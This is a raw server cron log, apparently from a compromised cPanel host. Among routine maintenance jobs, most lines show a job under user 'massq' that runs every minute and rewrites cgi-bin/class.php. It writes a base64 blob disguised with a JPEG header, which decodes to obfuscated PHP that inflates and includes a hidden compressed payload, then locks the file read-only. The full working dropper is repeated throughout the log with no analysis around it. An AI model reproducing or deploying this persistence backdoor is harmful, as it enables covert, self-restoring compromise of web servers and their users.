Nov 10 20:13:01 server CROND[3861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:14:01 server CROND[4642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:15:01 server CROND[5462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:15:01 server CROND[5463]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:15:01 server CROND[5464]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:15:01 server CROND[5465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:16:01 server CROND[6429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:17:01 server CROND[7246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:18:01 server CROND[8021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:19:01 server CROND[9067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:20:01 server CROND[9886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:20:01 server CROND[9888]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:20:01 server CROND[9890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:20:01 server CROND[9891]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 20:20:01 server CROND[9893]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 20:21:01 server CROND[10770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:22:01 server CROND[11070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:23:01 server CROND[11793]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:24:01 server CROND[12606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:25:01 server CROND[13415]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:25:01 server CROND[13416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:25:01 server CROND[13417]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:25:01 server CROND[13418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
